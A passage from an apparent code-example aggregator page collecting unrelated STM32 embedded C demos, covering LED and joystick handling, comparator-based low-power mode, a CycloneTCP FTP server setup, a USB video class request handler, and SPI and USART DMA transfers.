      case JOY_UP:
        LCD_DisplayStringLine(LCD_LINE_5, (uint8_t *)"JOY:     UP         ");
        break;     
      case JOY_DOWN:
        LCD_DisplayStringLine(LCD_LINE_5, (uint8_t *)"JOY:    DOWN        ");
        break;          
      case JOY_LEFT:
        LCD_DisplayStringLine(LCD_LINE_5, (uint8_t *)"JOY:    LEFT        ");
        break;         
      case JOY_RIGHT:
        LCD_DisplayStringLine(LCD_LINE_5, (uint8_t *)"JOY:    RIGHT        ");
        break;                 
      case JOY_CENTER:
        LCD_DisplayStringLine(LCD_LINE_5, (uint8_t *)"JOY:   CENTER       ");
        break; 
      default:
        LCD_DisplayStringLine(LCD_LINE_5, (uint8_t *)"JOY:   ERROR      ");
        break;         
    }

    /* Update the structure with the current position */
    TS_State = IOE_TS_GetState();  
    
    if ((TS_State->TouchDetected) && (TS_State->Y < 92) && (TS_State->Y > 52))
    {
      if ((TS_State->X > 60) && (TS_State->X < 120))
      {
        LCD_SetTextColor(LCD_COLOR_GREEN);   
        LCD_DisplayStringLine(LCD_LINE_10, (uint8_t *)"     LD1                ");
        STM_EVAL_LEDOn(LED1);
      }
      else if ((TS_State->X > 140) && (TS_State->X < 200))
      {
        LCD_SetTextColor(LCD_COLOR_YELLOW); 
        LCD_DisplayStringLine(LCD_LINE_10, (uint8_t *)"          LD2           ");
        STM_EVAL_LEDOn(LED2);
      }
      else if ((TS_State->X > 220) && (TS_State->X < 280))
      {
        LCD_SetTextColor(LCD_COLOR_RED); 
        LCD_DisplayStringLine(LCD_LINE_10, (uint8_t *)"               LD3      ");
        STM_EVAL_LEDOn(LED3);
      }     
      else if ((TS_State->X > 300) && (TS_State->X < 360))
      {
        LCD_SetTextColor(LCD_COLOR_BLUE); 
        LCD_DisplayStringLine(LCD_LINE_10, (uint8_t *)"                    LD4 ");
        STM_EVAL_LEDOn(LED4);
      }
    }
    else
    {
      STM_EVAL_LEDOff(LED1);
      STM_EVAL_LEDOff(LED2);
      STM_EVAL_LEDOff(LED3);
      STM_EVAL_LEDOff(LED4);
    }
#endif /* IOE_POLLING_MODE */  
    
#ifdef BUTTON_POLLING_MODE
    /* Insert 10 ms delay */
    Delay(1);
    
    /* Set the LCD Text Color */
    LCD_SetTextColor(Blue); 

    if (STM_EVAL_PBGetState(BUTTON_TAMPER) == 0)
    {
      /* Toggle LD2 */
      STM_EVAL_LEDToggle(LED2);

      LCD_DisplayStringLine(LCD_LINE_4, (uint8_t *)"Pol: TAMPER/KEY Pressed  ");
    }

    if (STM_EVAL_PBGetState(BUTTON_WAKEUP) != 0)
    {
      /* Toggle LD3 */
      STM_EVAL_LEDToggle(LED3);
      LCD_DisplayStringLine(LCD_LINE_4, (uint8_t *)"Pol: WAKEUP Pressed      ");
    }
#endif
  }
}
Beispiel #25
0
/**
  * @brief  Main program.
  * @param  None
  * @retval None
  */
int main(void)
{
  /*!< At this stage the microcontroller clock setting is already configured, 
       this is done through SystemInit() function which is called from startup
       file (startup_stm32f0xx.s) before to branch to application main.
       To reconfigure the default setting of SystemInit() function, refer to
       system_stm32f0xx.c file
     */ 

  /******* Initialize LEDs available on STM320518-EVAL board ******************/
  STM_EVAL_LEDInit(LED1);
  STM_EVAL_LEDInit(LED2);
  STM_EVAL_LEDInit(LED3);
  STM_EVAL_LEDInit(LED4);
  
  /* PWR Peripheral clock enable */
  RCC_APB1PeriphClockCmd(RCC_APB1Periph_PWR, ENABLE);

  /* configure COMP1 and COMP2 with interrupts enabled */
  COMP_Config();

  /* Check input voltage level: within the thresholds, above the upper threshold
     or under the lower threshold */
  CheckState();
  
  /* Infinite loop */
  while (1)
  {
    if (State == STATE_OVER_THRESHOLD)
    {
      /* Restore config: clock, GPIO... */
      RestoreConfiguration();
      
      /* Restore GPIO configuration */
      STM_EVAL_LEDInit(LED1);
      STM_EVAL_LEDInit(LED2);
      STM_EVAL_LEDInit(LED3);
      STM_EVAL_LEDInit(LED4);

      /* Turn on LD1 and LD3 and turn off LD2 and LD4 */
      STM_EVAL_LEDOn(LED1);
      STM_EVAL_LEDOff(LED2);
      STM_EVAL_LEDOn(LED3);
      STM_EVAL_LEDOff(LED4);
      
      while(State == STATE_OVER_THRESHOLD)
      {
         /* add your code here */
      }
    }
    else if (State == STATE_WITHIN_THRESHOLD)
    {
      /* Input voltage is within the thresholds: higher and lower thresholds */
      /* Enter STOP mode with regulator in low power */
      STOPEntry();
    }
    else /* (State == STATE_UNDER_THRESHOLD) */
    {
      /* Restore config: clock, GPIO... */
      RestoreConfiguration();

      /* Restore GPIO configuration */
      STM_EVAL_LEDInit(LED1);
      STM_EVAL_LEDInit(LED2);
      STM_EVAL_LEDInit(LED3);
      STM_EVAL_LEDInit(LED4);

      /* Turn on LD2 & LD4 and turn off LD1 & LD3 */
      STM_EVAL_LEDOff(LED1);
      STM_EVAL_LEDOn(LED2);
      STM_EVAL_LEDOff(LED3);
      STM_EVAL_LEDOn(LED4);

      while(State == STATE_UNDER_THRESHOLD)
      {
         /* add your code here */
      }
    }
  }
}
Beispiel #26
0
int_t main(void)
{
   error_t error;
   NetInterface *interface;
   OsTask *task;
   MacAddr macAddr;
#if (APP_USE_DHCP == DISABLED)
   Ipv4Addr ipv4Addr;
#endif
#if (APP_USE_SLAAC == DISABLED)
   Ipv6Addr ipv6Addr;
#endif

   //Initialize kernel
   osInitKernel();
   //Configure debug UART
   debugInit(115200);

   //Start-up message
   TRACE_INFO("\r\n");
   TRACE_INFO("**********************************\r\n");
   TRACE_INFO("*** CycloneTCP FTP Server Demo ***\r\n");
   TRACE_INFO("**********************************\r\n");
   TRACE_INFO("Copyright: 2010-2014 Oryx Embedded\r\n");
   TRACE_INFO("Compiled: %s %s\r\n", __DATE__, __TIME__);
   TRACE_INFO("Target: STM32F407\r\n");
   TRACE_INFO("\r\n");

   //LED configuration
   STM_EVAL_LEDInit(LED1);
   STM_EVAL_LEDInit(LED2);
   STM_EVAL_LEDInit(LED3);
   STM_EVAL_LEDInit(LED4);

   //Clear LEDs
   STM_EVAL_LEDOff(LED1);
   STM_EVAL_LEDOff(LED2);
   STM_EVAL_LEDOff(LED3);
   STM_EVAL_LEDOff(LED4);

   //Initialize I/O expander
   IOE_Config();
   //Initialize user button
   STM_EVAL_PBInit(BUTTON_KEY, BUTTON_MODE_GPIO);

   //Initialize LCD display
   STM324xG_LCD_Init();
   LCD_SetBackColor(Blue);
   LCD_SetTextColor(White);
   LCD_SetFont(&Font16x24);
   LCD_Clear(Blue);

   //Welcome message
   lcdSetCursor(0, 0);
   printf("FTP Server Demo");

   //File system initialization
   error = fsInit();
   //Any error to report?
   if(error)
   {
      //Debug message
      TRACE_ERROR("Failed to initialize file system!\r\n");
   }

   //TCP/IP stack initialization
   error = tcpIpStackInit();
   //Any error to report?
   if(error)
   {
      //Debug message
      TRACE_ERROR("Failed to initialize TCP/IP stack!\r\n");
   }

   //Configure the first Ethernet interface
   interface = &netInterface[0];

   //Set interface name
   tcpIpStackSetInterfaceName(interface, "eth0");
   //Set host name
   tcpIpStackSetHostname(interface, "FTPServerDemo");
   //Select the relevant network adapter
   tcpIpStackSetDriver(interface, &stm32f4x7EthDriver);
   tcpIpStackSetPhyDriver(interface, &dp83848PhyDriver);
   //Set external interrupt line driver
   tcpIpStackSetExtIntDriver(interface, &extIntDriver);
   //Set host MAC address
   macStringToAddr(APP_MAC_ADDR, &macAddr);
   tcpIpStackSetMacAddr(interface, &macAddr);

   //Initialize network interface
   error = tcpIpStackConfigInterface(interface);
   //Any error to report?
   if(error)
   {
      //Debug message
      TRACE_ERROR("Failed to configure interface %s!\r\n", interface->name);
   }

#if (IPV4_SUPPORT == ENABLED)
#if (APP_USE_DHCP == ENABLED)
   //Get default settings
   dhcpClientGetDefaultSettings(&dhcpClientSettings);
   //Set the network interface to be configured by DHCP
   dhcpClientSettings.interface = interface;
   //Disable rapid commit option
   dhcpClientSettings.rapidCommit = FALSE;

   //DHCP client initialization
   error = dhcpClientInit(&dhcpClientContext, &dhcpClientSettings);
   //Failed to initialize DHCP client?
   if(error)
   {
      //Debug message
      TRACE_ERROR("Failed to initialize DHCP client!\r\n");
   }

   //Start DHCP client
   error = dhcpClientStart(&dhcpClientContext);
   //Failed to start DHCP client?
   if(error)
   {
      //Debug message
      TRACE_ERROR("Failed to start DHCP client!\r\n");
   }
#else
   //Set IPv4 host address
   ipv4StringToAddr(APP_IPV4_HOST_ADDR, &ipv4Addr);
   ipv4SetHostAddr(interface, ipv4Addr);

   //Set subnet mask
   ipv4StringToAddr(APP_IPV4_SUBNET_MASK, &ipv4Addr);
   ipv4SetSubnetMask(interface, ipv4Addr);

   //Set default gateway
   ipv4StringToAddr(APP_IPV4_DEFAULT_GATEWAY, &ipv4Addr);
   ipv4SetDefaultGateway(interface, ipv4Addr);

   //Set primary and secondary DNS servers
   ipv4StringToAddr(APP_IPV4_PRIMARY_DNS, &ipv4Addr);
   ipv4SetDnsServer(interface, 0, ipv4Addr);
   ipv4StringToAddr(APP_IPV4_SECONDARY_DNS, &ipv4Addr);
   ipv4SetDnsServer(interface, 1, ipv4Addr);
#endif
#endif

#if (IPV6_SUPPORT == ENABLED)
#if (APP_USE_SLAAC == ENABLED)
   //Get default settings
   slaacGetDefaultSettings(&slaacSettings);
   //Set the network interface to be configured
   slaacSettings.interface = interface;

   //SLAAC initialization
   error = slaacInit(&slaacContext, &slaacSettings);
   //Failed to initialize SLAAC?
   if(error)
   {
      //Debug message
      TRACE_ERROR("Failed to initialize SLAAC!\r\n");
   }

   //Start IPv6 address autoconfiguration process
   error = slaacStart(&slaacContext);
   //Failed to start SLAAC process?
   if(error)
   {
      //Debug message
      TRACE_ERROR("Failed to start SLAAC!\r\n");
   }
#else
   //Set link-local address
   ipv6StringToAddr(APP_IPV6_LINK_LOCAL_ADDR, &ipv6Addr);
   ipv6SetLinkLocalAddr(interface, &ipv6Addr, IPV6_ADDR_STATE_VALID);

   //Set IPv6 prefix
   ipv6StringToAddr(APP_IPV6_PREFIX, &ipv6Addr);
   ipv6SetPrefix(interface, &ipv6Addr, APP_IPV6_PREFIX_LENGTH);

   //Set global address
   ipv6StringToAddr(APP_IPV6_GLOBAL_ADDR, &ipv6Addr);
   ipv6SetGlobalAddr(interface, &ipv6Addr, IPV6_ADDR_STATE_VALID);

   //Set router
   ipv6StringToAddr(APP_IPV6_ROUTER, &ipv6Addr);
   ipv6SetRouter(interface, &ipv6Addr);

   //Set primary and secondary DNS servers
   ipv6StringToAddr(APP_IPV6_PRIMARY_DNS, &ipv6Addr);
   ipv6SetDnsServer(interface, 0, &ipv6Addr);
   ipv6StringToAddr(APP_IPV6_SECONDARY_DNS, &ipv6Addr);
   ipv6SetDnsServer(interface, 1, &ipv6Addr);
#endif
#endif

   //Get default settings
   ftpServerGetDefaultSettings(&ftpServerSettings);
   //Bind FTP server to the desired interface
   ftpServerSettings.interface = &netInterface[0];
   //Listen to port 21
   ftpServerSettings.port = FTP_PORT;
   //Root directory
   strcpy(ftpServerSettings.rootDir, "/");
   //User verification callback function
   ftpServerSettings.checkUserCallback = ftpServerCheckUserCallback;
   //Password verification callback function
   ftpServerSettings.checkPasswordCallback = ftpServerCheckPasswordCallback;
   //Callback used to retrieve file permissions
   ftpServerSettings.getFilePermCallback = ftpServerGetFilePermCallback;

   //FTP server initialization
   error = ftpServerInit(&ftpServerContext, &ftpServerSettings);
   //Failed to initialize FTP server?
   if(error)
   {
      //Debug message
      TRACE_ERROR("Failed to initialize FTP server!\r\n");
   }

   //Start FTP server
   error = ftpServerStart(&ftpServerContext);
   //Failed to start FTP server?
   if(error)
   {
      //Debug message
      TRACE_ERROR("Failed to start FTP server!\r\n");
   }

   //Create user task
   task = osCreateTask("User Task", userTask, NULL, 500, 1);
   //Failed to create the task?
   if(task == OS_INVALID_HANDLE)
   {
      //Debug message
      TRACE_ERROR("Failed to create task!\r\n");
   }

   //Create a task to blink the LED
   task = osCreateTask("Blink", blinkTask, NULL, 500, 1);
   //Failed to create the task?
   if(task == OS_INVALID_HANDLE)
   {
      //Debug message
      TRACE_ERROR("Failed to create task!\r\n");
   }

   //Start the execution of tasks
   osStartKernel();

   //This function should never return
   return 0;
}
static uint8_t  usbd_video_Setup (void  *pdev, 
                                  USB_SETUP_REQ *req)
{
  uint16_t len;
  uint8_t  *pbuf;
  
  switch (req->bmRequest & USB_REQ_TYPE_MASK)
  {
  case USB_REQ_TYPE_CLASS :    
    switch (req->bRequest)
    {
    case GET_CUR:
    case GET_DEF:
    case GET_MIN:
    case GET_MAX:
      VIDEO_Req_GetCurrent(pdev, req);
      break;

    case SET_CUR:
    	VIDEO_Req_SetCurrent(pdev, req);
      break;

    default:
      USBD_CtlError (pdev, req);
      return USBD_FAIL;
    }
    break;

    
    /* Standard Requests -------------------------------*/
  case USB_REQ_TYPE_STANDARD:
    switch (req->bRequest)
    {
    case USB_REQ_GET_DESCRIPTOR: 
      if( (req->wValue >> 8) == CS_DEVICE)
      {
#ifdef USB_OTG_HS_INTERNAL_DMA_ENABLED
        pbuf = usbd_video_Desc;   
#else
        pbuf = usbd_video_CfgDesc + 18;
#endif 
        len = MIN(USB_VIDEO_DESC_SIZ , req->wLength);
      }
      
      USBD_CtlSendData (pdev, pbuf, len);
      break;
      
    case USB_REQ_GET_INTERFACE :
      USBD_CtlSendData (pdev, (uint8_t *)&usbd_video_AltSet, 1);
      break;
      
    case USB_REQ_SET_INTERFACE :
      if ((uint8_t)(req->wValue) < VIDEO_TOTAL_IF_NUM)
      {
        usbd_video_AltSet = (uint8_t)(req->wValue);

        if (usbd_video_AltSet == 1) {
        	STM_EVAL_LEDOn(LED5);
        	play_status = 1;
        } else {
        	STM_EVAL_LEDOff(LED5);
        	DCD_EP_Flush (pdev,USB_ENDPOINT_IN(1));
        	play_status = 0;
        }
      }
      else
      {
        /* Call the error management function (command will be nacked */
        USBD_CtlError (pdev, req);
      }
      break;
    }
  }
  return USBD_OK;
}
Beispiel #28
0
/**
  * @brief  Main program
  * @param  None
  * @retval None
  */
int main(void)
{
  /*!< At this stage the microcontroller clock setting is already configured, 
       this is done through SystemInit() function which is called from startup
       files (startup_stm32f40_41xxx.s/startup_stm32f427_437xx.s/startup_stm32f429_439xx.s)
       before to branch to application main.
     */ 
  
  /* SPI configuration */
  SPI_Config();
  
  /* SysTick configuration */
  SysTickConfig();
  
  /* Initialize LEDs mounted on EVAL board */     
  STM_EVAL_LEDInit(LED1);
  STM_EVAL_LEDInit(LED2);
  STM_EVAL_LEDInit(LED3);
  STM_EVAL_LEDInit(LED4);
  
#ifdef SPI_MASTER
  /* Master board configuration */    
  /* Initializes the SPI communication */
  SPI_InitStructure.SPI_Mode = SPI_Mode_Master;
  SPI_Init(SPIx, &SPI_InitStructure);
  
  /* The Data transfer is performed in the SPI using Direct Memory Access */

  /* Enable DMA SPI TX Stream */
  DMA_Cmd(SPIx_TX_DMA_STREAM,ENABLE);

  /* Enable DMA SPI RX Stream */
  DMA_Cmd(SPIx_RX_DMA_STREAM,ENABLE);

  /* Enable SPI DMA TX Requsts */
  SPI_I2S_DMACmd(SPIx, SPI_I2S_DMAReq_Tx, ENABLE);

  /* Enable SPI DMA RX Requsts */
  SPI_I2S_DMACmd(SPIx, SPI_I2S_DMAReq_Rx, ENABLE);
  
  /* Configure the Tamper Button */
  STM_EVAL_PBInit(BUTTON_TAMPER,BUTTON_MODE_GPIO);
  
  /* Wait until Tamper Button is pressed */
  while (STM_EVAL_PBGetState(BUTTON_TAMPER));
  
  /* Enable the SPI peripheral */
  SPI_Cmd(SPIx, ENABLE);
  
#endif /* SPI_MASTER */
  
#ifdef SPI_SLAVE
  /* Slave board configuration */
  /* Initializes the SPI communication */
  SPI_InitStructure.SPI_Mode = SPI_Mode_Slave;
  SPI_Init(SPIx, &SPI_InitStructure);

  /* Enable DMA SPI TX Stream */
  DMA_Cmd(SPIx_TX_DMA_STREAM,ENABLE);

  /* Enable DMA SPI RX Stream */
  DMA_Cmd(SPIx_RX_DMA_STREAM,ENABLE);  
  
  /* Enable SPI DMA TX Requsts */
  SPI_I2S_DMACmd(SPIx, SPI_I2S_DMAReq_Tx, ENABLE);

  /* Enable SPI DMA RX Requsts */
  SPI_I2S_DMACmd(SPIx, SPI_I2S_DMAReq_Rx, ENABLE);

  /* Enable the SPI peripheral */
  SPI_Cmd(SPIx, ENABLE);
 
#endif /* SPI_SLAVE */

  /* Waiting the end of Data transfer */
  while (DMA_GetFlagStatus(SPIx_TX_DMA_STREAM,SPIx_TX_DMA_FLAG_TCIF)==RESET);
  while (DMA_GetFlagStatus(SPIx_RX_DMA_STREAM,SPIx_RX_DMA_FLAG_TCIF)==RESET);
  
  /* Clear DMA Transfer Complete Flags */
  DMA_ClearFlag(SPIx_TX_DMA_STREAM,SPIx_TX_DMA_FLAG_TCIF);
  DMA_ClearFlag(SPIx_RX_DMA_STREAM,SPIx_RX_DMA_FLAG_TCIF);  
  
  /* Disable DMA SPI TX Stream */
  DMA_Cmd(SPIx_TX_DMA_STREAM,DISABLE);

  /* Disable DMA SPI RX Stream */
  DMA_Cmd(SPIx_RX_DMA_STREAM,DISABLE);  
  
  /* Disable SPI DMA TX Requsts */
  SPI_I2S_DMACmd(SPIx, SPI_I2S_DMAReq_Tx, DISABLE);

  /* Disable SPI DMA RX Requsts */
  SPI_I2S_DMACmd(SPIx, SPI_I2S_DMAReq_Rx, DISABLE);

  /* Disable the SPI peripheral */
  SPI_Cmd(SPIx, DISABLE);  
  
  if (Buffercmp(aTxBuffer, aRxBuffer, BUFFERSIZE) != FAILED) 
  {
    /* Turn ON LED1 and LED3 */
    STM_EVAL_LEDOn(LED1);
    STM_EVAL_LEDOn(LED3);
    /* Turn OFF LED2 and LED4 */
    STM_EVAL_LEDOff(LED2);
    STM_EVAL_LEDOff(LED4);
  }
  else
  {
    /* Turn OFF LED1 and LED3 */
    STM_EVAL_LEDOff(LED1);
    STM_EVAL_LEDOff(LED3);
    /* Turn ON LED2 and LED4 */
    STM_EVAL_LEDOn(LED2);
    STM_EVAL_LEDOn(LED4);    
  } 
  
  /* Infinite Loop */
  while (1)
  { 
  }  
}
Beispiel #29
0
/**
  * @brief  Main program
  * @param  None
  * @retval None
  */
int main(void)
{
  /*!< At this stage the microcontroller clock setting is already configured, 
       this is done through SystemInit() function which is called from startup
       file (startup_stm32f4xx.s) before to branch to application main.
       To reconfigure the default setting of SystemInit() function, refer to
       system_stm32f4xx.c file
     */
  
  /* USART configuration -----------------------------------------------------*/
  USART_Config();
  
  /* SysTick configuration ---------------------------------------------------*/
  SysTickConfig();
  
  /* LEDs configuration ------------------------------------------------------*/
  STM_EVAL_LEDInit(LED1);
  STM_EVAL_LEDInit(LED2);
  STM_EVAL_LEDInit(LED3);
  STM_EVAL_LEDInit(LED4);

  /* IO Expanderconfiguration ------------------------------------------------*/
#ifdef USART_TRANSMITTER_MODE  
  TimeOut = USER_TIMEOUT;
  while ((IOE_Config() != IOE_OK) && (TimeOut != 0))
  {
  }
  if(TimeOut == 0)
  {
    TimeOut_UserCallback();
  }
#endif /* USART_TRANSMITTER_MODE */
 
  while (1)
  {
/******************************************************************************/
/*                      USART in Transmitter Mode                             */           
/******************************************************************************/
#ifdef USART_TRANSMITTER_MODE  
    
    /* Clear Buffers */
    Fill_Buffer(CmdBuffer, 2);
    
    DMA_DeInit(USARTx_TX_DMA_STREAM);
    DMA_InitStructure.DMA_Channel = USARTx_TX_DMA_CHANNEL;
    DMA_InitStructure.DMA_DIR = DMA_DIR_MemoryToPeripheral;  
    
    /****************** USART will Transmit Specific Command ******************/ 
    /* Prepare the DMA to transfer the transaction command (2bytes) from the
       memory to the USART */  
    DMA_InitStructure.DMA_Memory0BaseAddr = (uint32_t)CmdBuffer;
    DMA_InitStructure.DMA_BufferSize = (uint16_t)2;
    DMA_Init(USARTx_TX_DMA_STREAM, &DMA_InitStructure); 
   
    /* Prepare Command to be transmitted */
    /* Waiting joystick pressed */  
    PressedButton = JOY_NONE;  
    while (PressedButton == JOY_NONE)
    {
      PressedButton = IOE_JoyStickGetState();
    }
    
    /* Waiting joystick released */  
    ReleasedButton = IOE_JoyStickGetState();  
    while ((PressedButton == ReleasedButton) && (ReleasedButton != JOY_NONE))
    {
      ReleasedButton = IOE_JoyStickGetState();    
    }

    
    if(PressedButton != JOY_NONE)
    {
      /* For each joystick state correspond a command to be sent through USART */      
      switch (PressedButton)
      {
        /* JOY_RIGHT button pressed */
        case JOY_RIGHT:
          CmdBuffer[0] = CMD_RIGHT;
          CmdBuffer[1] = CMD_RIGHT_SIZE;
          break;
        /* JOY_LEFT button pressed */
        case JOY_LEFT:
          CmdBuffer[0] = CMD_LEFT;
          CmdBuffer[1]  = CMD_LEFT_SIZE;
          break;
        /* JOY_UP button pressed */
        case JOY_UP:
          CmdBuffer[0] = CMD_UP;
          CmdBuffer[1] = CMD_UP_SIZE;
          break;
        /* JOY_DOWN button pressed */          
        case JOY_DOWN:
          CmdBuffer[0] = CMD_DOWN;
          CmdBuffer[1] = CMD_DOWN_SIZE;
          break;
        /* JOY_SEL button pressed */
        case JOY_SEL:
          CmdBuffer[0] = CMD_SEL;
          CmdBuffer[1] = CMD_SEL_SIZE;
          break;
        default:
          break;
      }
      
      /* Enable the USART DMA requests */
      USART_DMACmd(USARTx, USART_DMAReq_Tx, ENABLE);
      
      /* Clear the TC bit in the SR register by writing 0 to it */
      USART_ClearFlag(USARTx, USART_FLAG_TC);

      /* Enable the DMA TX Stream, USART will start sending the command code (2bytes) */
      DMA_Cmd(USARTx_TX_DMA_STREAM, ENABLE);
      
      /* Wait the USART DMA Tx transfer complete or time out */
      TimeOut = USER_TIMEOUT; 
      while ((DMA_GetFlagStatus(USARTx_TX_DMA_STREAM, USARTx_TX_DMA_FLAG_TCIF) == RESET)&&(TimeOut != 0))
      {
      }
      
      if(TimeOut == 0)
      {
        TimeOut_UserCallback();
      } 
      
      /* The software must wait until TC=1. The TC flag remains cleared during all data
         transfers and it is set by hardware at the last frame’s end of transmission*/
      TimeOut = USER_TIMEOUT;
      while ((USART_GetFlagStatus(USARTx, USART_FLAG_TC) == RESET)&&(TimeOut != 0))
      {
      }
      if(TimeOut == 0)
      {
        TimeOut_UserCallback();
      }      
      
      /* Clear DMA Streams flags */
      DMA_ClearFlag(USARTx_TX_DMA_STREAM, USARTx_TX_DMA_FLAG_HTIF | USARTx_TX_DMA_FLAG_TCIF);                                    
                                          
      /* Disable the DMA Streams */
      DMA_Cmd(USARTx_TX_DMA_STREAM, DISABLE);
      
      /* Disable the USART Tx DMA request */
      USART_DMACmd(USARTx, USART_DMAReq_Tx, DISABLE);
      
      /******************* USART will Transmit Data Buffer ********************/
      /* Prepare the DMA to transfer the transaction data (length defined by 
         CmdBuffer[1] variable) from the memory to the USART */   
      DMA_InitStructure.DMA_Memory0BaseAddr = (uint32_t)TxBuffer;
      DMA_InitStructure.DMA_BufferSize = (uint16_t)CmdBuffer[1];
      DMA_Init(USARTx_TX_DMA_STREAM, &DMA_InitStructure); 
      
      /* Enable the USART Tx DMA request */                
      USART_DMACmd(USARTx, USART_DMAReq_Tx, ENABLE);
      
      /* Clear the TC bit in the SR register by writing 0 to it */
      USART_ClearFlag(USARTx, USART_FLAG_TC);
      
      /* Enable DMA USART Tx Stream */
      DMA_Cmd(USARTx_TX_DMA_STREAM, ENABLE);
      
      /* Wait the USART DMA Tx transfer complete or time out */
      TimeOut = USER_TIMEOUT;
      while ((DMA_GetFlagStatus(USARTx_TX_DMA_STREAM, USARTx_TX_DMA_FLAG_TCIF) == RESET)&&(TimeOut != 0))
      {
      }
      if(TimeOut == 0)
      {
        TimeOut_UserCallback();
      }
      
      /* The software must wait until TC=1, The TC flag remains cleared during all data
         transfers and it is set by hardware at the last frame’s end of transmission */
      TimeOut = USER_TIMEOUT;
      while ((USART_GetFlagStatus(USARTx, USART_FLAG_TC) == RESET)&&(TimeOut != 0))
      {
      }
      if(TimeOut == 0)
      {
        TimeOut_UserCallback();
      }
       
      /* Clear all DMA Streams flags */
      DMA_ClearFlag(USARTx_TX_DMA_STREAM, USARTx_TX_DMA_FLAG_HTIF | USARTx_TX_DMA_FLAG_TCIF);
                                          
      /* Disable the DMA Stream */
      DMA_Cmd(USARTx_TX_DMA_STREAM, DISABLE);
      
      /* Disable the USART Tx DMA request */
      USART_DMACmd(USARTx, USART_DMAReq_Tx, DISABLE);
    }
  
#endif /* USART_TRANSMITTER_MODE */

/******************************************************************************/
/*                      USART in Receiver Mode                                */           
/******************************************************************************/
#ifdef USART_RECEIVER_MODE
    /* Clear Buffers */
    Fill_Buffer(RxBuffer, TXBUFFERSIZE);
    Fill_Buffer(CmdBuffer, 2);
    
    DMA_DeInit(USARTx_RX_DMA_STREAM);
    DMA_InitStructure.DMA_Channel = USARTx_RX_DMA_CHANNEL;
    DMA_InitStructure.DMA_DIR = DMA_DIR_PeripheralToMemory; 
    /****************** USART will Receive Specific Command *******************/
    /* Configure the DMA to receive 2 bytes (transaction command), in case of USART receiver */  
    DMA_InitStructure.DMA_Memory0BaseAddr = (uint32_t)CmdBuffer;
    DMA_InitStructure.DMA_BufferSize = (uint16_t)2;
    DMA_Init(USARTx_RX_DMA_STREAM, &DMA_InitStructure);
    
    /* Enable the USART Rx DMA request */
    USART_DMACmd(USARTx, USART_DMAReq_Rx, ENABLE);   
    /* Enable the DMA RX Stream */
    DMA_Cmd(USARTx_RX_DMA_STREAM, ENABLE);
    
    /* Wait the USART DMA Rx transfer complete (to receive the transaction command) */
    while (DMA_GetFlagStatus(USARTx_RX_DMA_STREAM, USARTx_RX_DMA_FLAG_TCIF) == RESET)
    {      
    }
      
    /* Clear all DMA Streams flags */
    DMA_ClearFlag(USARTx_RX_DMA_STREAM, USARTx_RX_DMA_FLAG_HTIF | USARTx_RX_DMA_FLAG_TCIF); 
                                        
    /* Disable the DMA Rx Stream */
    DMA_Cmd(USARTx_RX_DMA_STREAM, DISABLE);
      
    /* Disable the USART Rx DMA requests */
    USART_DMACmd(USARTx, USART_DMAReq_Rx, DISABLE);
   
    /************* USART will receive the the transaction data ****************/
    /* Transaction data (length defined by CmdBuffer[1] variable) */       
    DMA_InitStructure.DMA_Memory0BaseAddr = (uint32_t)RxBuffer;
    DMA_InitStructure.DMA_BufferSize = (uint16_t)CmdBuffer[1];
    DMA_Init(USARTx_RX_DMA_STREAM, &DMA_InitStructure);

    /* Enable the USART Rx DMA requests */
    USART_DMACmd(USARTx, USART_DMAReq_Rx , ENABLE);
      
    /* Enable the DMA Stream */
    DMA_Cmd(USARTx_RX_DMA_STREAM, ENABLE);
      
    /* Wait the USART DMA Rx transfer complete or time out */
    TimeOut = USER_TIMEOUT;     
    while ((DMA_GetFlagStatus(USARTx_RX_DMA_STREAM, USARTx_RX_DMA_FLAG_TCIF) == RESET)&&(TimeOut != 0))
    {
    }      
    if(TimeOut == 0)
    {
      TimeOut_UserCallback();
    }
      
    /* Clear all DMA Streams flags */
    DMA_ClearFlag(USARTx_RX_DMA_STREAM, USARTx_RX_DMA_FLAG_HTIF | USARTx_RX_DMA_FLAG_TCIF);
      
    /* Disable the DMA Stream */
    DMA_Cmd(USARTx_RX_DMA_STREAM, DISABLE);
      
    /* Disable the USART Rx DMA requests */
    USART_DMACmd(USARTx, USART_DMAReq_Rx, DISABLE);
      
    switch (CmdBuffer[1])
    {
      /* CMD_RIGHT command received */
      case CMD_RIGHT_SIZE:
        if (Buffercmp(TxBuffer, RxBuffer, CMD_RIGHT_SIZE) != FAILED)
        {
          /* Turn ON LED2 and LED3 */
          STM_EVAL_LEDOn(LED2);
          STM_EVAL_LEDOn(LED3);
          /* Turn OFF LED4 */
          STM_EVAL_LEDOff(LED4);
        }
        break;
      /* CMD_LEFT command received */
      case CMD_LEFT_SIZE:
        if (Buffercmp(TxBuffer, RxBuffer, CMD_LEFT_SIZE) != FAILED)
        {
          /* Turn ON LED4 */
          STM_EVAL_LEDOn(LED4);
          /* Turn OFF LED2 and LED3 */
          STM_EVAL_LEDOff(LED2);
          STM_EVAL_LEDOff(LED3);
        }
        break;
      /* CMD_UP command received */
      case CMD_UP_SIZE:
        if (Buffercmp(TxBuffer, RxBuffer, CMD_UP_SIZE) != FAILED)
        {
          /* Turn ON LED2 */
          STM_EVAL_LEDOn(LED2);
          /* Turn OFF LED3 and LED4 */
          STM_EVAL_LEDOff(LED3);
          STM_EVAL_LEDOff(LED4);
        }
        break;
      /* CMD_DOWN command received */
      case CMD_DOWN_SIZE:
        if (Buffercmp(TxBuffer, RxBuffer, CMD_DOWN_SIZE) != FAILED)
        {
          /* Turn ON LED3 */
          STM_EVAL_LEDOn(LED3);
          /* Turn OFF LED2 and LED4 */
          STM_EVAL_LEDOff(LED2);
          STM_EVAL_LEDOff(LED4);
        }
        break;
      /* CMD_SEL command received */
      case CMD_SEL_SIZE:
        if (Buffercmp(TxBuffer, RxBuffer, CMD_SEL_SIZE) != FAILED) 
        {
          /* Turn ON all LED2, LED3 and LED4 */
          STM_EVAL_LEDOn(LED2);
          STM_EVAL_LEDOn(LED3);
          STM_EVAL_LEDOn(LED4);
        }
        break;
      default:
        break;
    }
#endif /* USART_RECEIVER_MODE */      
  }
}
Beispiel #30
0
/**
  * @brief   Main program
  * @param  None
  * @retval None
  */
int main(void)
{
  /*!< At this stage the microcontroller clock setting is already configured,
  this is done through SystemInit() function which is called from startup
  file (startup_stm32l1xx_xx.s) before to branch to application main.
  To reconfigure the default setting of SystemInit() function, refer to
  system_stm32l1xx.c file
  */
  
  /* I2C configuration -------------------------------------------------------*/
  I2C_Config();
  
  /* Initialize LEDs mounted on STM32L152-EVAL board */
  STM_EVAL_LEDInit(LED1);
  STM_EVAL_LEDInit(LED2);
